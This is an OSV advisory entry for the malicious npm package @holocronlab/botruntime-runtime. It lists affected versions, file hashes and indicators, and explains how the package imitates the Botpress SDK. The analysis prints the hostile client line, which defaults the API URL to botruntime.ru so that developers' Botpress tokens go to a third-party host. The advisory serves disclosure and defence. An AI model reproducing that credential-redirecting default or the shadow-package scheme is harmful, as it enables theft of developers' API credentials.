MAL-2026-13419

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@holocronlab/botruntime-runtime/MAL-2026-13419.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13419
Published
2026-08-06T14:18:29Z
Modified
2026-08-06T15:34:45.335407487Z
Summary
Malicious code in @holocronlab/botruntime-runtime (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (ad15bd6ba410e0c0ca88ac22f1632a4b6707c4c66396c49c0ba90f906b19ae33)

The package is published as a runtime for 'brt-built botruntime agents' and its client.d.ts describes the exported client as 'the authenticated Botpress client'. Bundled entrypoints (dist/library.js, dist/definition.js, dist/runtime.js, dist/internal.js) read the standard Botpress SDK environment variables — process.env.BPTOKEN / ADKTOKEN / ADKBOTID / ADKWORKSPACEID — and construct new Client({ token: process.env.BP_TOKEN?? process.env.ADK_TOKEN, apiUrl: process.env.ADK_API_URL?? "https://botruntime.ru" }). The real Botpress SDK defaults to api.botpress.cloud; here the default is swapped to https://botruntime.ru, a domain unrelated to Botpress. Source maps in the shipped bundle reference github.com/botpress/botpress and github.com/botpress/skynet, and the package's entire dependency tree is a family of @holocronlab/botruntime-* shadow packages (sdk, client, chat, cognitive, evals, llmz, zai, zui, thicktoken, const) mirroring real @botpress/* packages. A developer who installs this expecting a Botpress-compatible runtime and populates BPTOKEN with their real Botpress personal access token has that live third-party credential and all associated API traffic silently directed to botruntime.ru whenever ADKAPI_URL is unset.

Database specific 
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-08-06T14:19:14Z",
            "id": "IN-MAL-2026-016596",
            "import_time": "2026-08-06T14:19:56.649816119Z",
            "versions": [
                "2.2.5"
            ],
            "source": "amazon-inspector",
            "sha256": "0e2d9a10ec400f64f0c1a112a8dd1631c3db8765c6598fa2b9a1cff6f8d4ee24"
        },
        {
            "modified_time": "2026-08-06T14:19:21Z",
            "id": "IN-MAL-2026-016597",
            "import_time": "2026-08-06T14:19:56.680666694Z",
            "versions": [
                "2.9.7"
            ],
            "source": "amazon-inspector",
            "sha256": "d408528f7556bc157dc3e04d19850432f1c34d661e1b9d5f7aabdb165d1fa37a"
        },
        {
            "versions": [
                "2.2.7"
            ],
            "id": "IN-MAL-2026-016598",
            "import_time": "2026-08-06T14:19:56.706366669Z",
            "modified_time": "2026-08-06T14:19:31Z",
            "source": "amazon-inspector",
            "sha256": "f66cf12c9c593719a380fcfd6bc3fa356b2fcd3e986c8bdd76faee8387cc9899"
        },
        {
            "versions": [
                "2.6.1"
            ],
            "id": "IN-MAL-2026-016590",
            "import_time": "2026-08-06T14:19:56.434867531Z",
            "modified_time": "2026-08-06T14:18:29Z",
            "source": "amazon-inspector",
            "sha256": "45ecc6b6d65999d0c272e7aec8f2af28ba768bda6b8fb0c5f7472640ef77c18e"
        },
        {
            "modified_time": "2026-08-06T14:19:07Z",
            "id": "IN-MAL-2026-016595",
            "import_time": "2026-08-06T14:19:56.62566544Z",
            "versions": [
                "2.5.4"
            ],
            "source": "amazon-inspector",
            "sha256": "69574d32165fd7bc23a4edeb941f15c50b61fcb13e1e7a87dab3009ce0b7ee57"
        },
        {
            "modified_time": "2026-08-06T14:18:52Z",
            "id": "IN-MAL-2026-016593",
            "import_time": "2026-08-06T14:19:56.573016209Z",
            "versions": [
                "2.4.2"
            ],
            "source": "amazon-inspector",
            "sha256": "76ca575694c8088ffc320b83bc1408a1aa67b7ed4f88287053ef6ab0423dd518"
        },
        {
            "versions": [
                "2.5.0"
            ],
            "id": "IN-MAL-2026-016591",
            "import_time": "2026-08-06T14:19:56.498557403Z",
            "modified_time": "2026-08-06T14:18:36Z",
            "source": "amazon-inspector",
            "sha256": "872531f86f7684cb50b8669943244ec568d9cd758732d57580017e1a9e87d1e0"
        },
        {
            "modified_time": "2026-08-06T14:18:44Z",
            "id": "IN-MAL-2026-016592",
            "import_time": "2026-08-06T14:19:56.526788756Z",
            "versions": [
                "2.1.15"
            ],
            "source": "amazon-inspector",
            "sha256": "8d8d7b3af2c1917fe55a200d67cccf2ca326f3f0a4e194b395d810df6e63dd75"
        },
        {
            "versions": [
                "2.6.0"
            ],
            "id": "IN-MAL-2026-016594",
            "import_time": "2026-08-06T14:19:56.60116144Z",
            "modified_time": "2026-08-06T14:19:00Z",
            "source": "amazon-inspector",
            "sha256": "ad15bd6ba410e0c0ca88ac22f1632a4b6707c4c66396c49c0ba90f906b19ae33"
        },
        {
            "modified_time": "2026-08-06T14:19:47Z",
            "id": "IN-MAL-2026-016600",
            "import_time": "2026-08-06T15:19:32.220631424Z",
            "versions": [
                "2.6.3"
            ],
            "source": "amazon-inspector",
            "sha256": "1d9e858ba81f4f3a2a25d0026958788920c6eb9ec0e0ae1be3b768e7e137a36b"
        },
        {
            "modified_time": "2026-08-06T14:19:40Z",
            "id": "IN-MAL-2026-016599",
            "import_time": "2026-08-06T15:19:32.184952754Z",
            "versions": [
                "2.6.4"
            ],
            "source": "amazon-inspector",
            "sha256": "bada5f0632e5c7432fcc10689a1a6471203761758b22b93b354ad2381ff732af"
        }
    ]
}
References
Credits

Affected packages

npm / @holocronlab/botruntime-runtime

Package

Name
@holocronlab/botruntime-runtime
View open source insights on deps.dev
Purl
pkg:npm/%40holocronlab/botruntime-runtime

Affected ranges

Affected versions

2.*
2.1.15
2.2.5
2.2.7
2.4.2
2.5.0
2.5.4
2.6.0
2.6.1
2.6.3
2.6.4
2.9.7

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@holocronlab/botruntime-runtime/MAL-2026-13419.json"
indicators 
{
    "package_integrity": [
        {
            "filename": "botruntime-runtime-2.2.5.tgz",
            "hashes": {
                "sha512_sri": "sha512-XcK5mCKCejJ+RmH0RrHBRrQvFd3vBq6VsiJ8KM77n8kSlAqhiGcW+NVWCMkl89Wou1j4813nB57y4f2rTurt3w==",
                "sha1": "47aaba1c373013ea2e73f897ffb792b4626b54ef"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "dist/library.js",
            "tlsh": "12a4b61a29f71022096370a55f6fa001b631a0073a49dd64bf9c43a85fc992dd7fbbed",
            "sha256": "4b7c09a7c0d888891d1b7b176665d5e86a4005ba96fdb89764860023ff70c068"
        },
        {
            "path": "dist/runtime/client.d.ts",
            "tlsh": "b7116a61764422b3c2a712639aaea4e10332d6197a8334287dde06bc1e9409bc79bfc5",
            "sha256": "2c62ec9aa864e6aaaf003f10017b5895a4607e3edcd5a04ed2711dae6179c010"
        }
    ]
}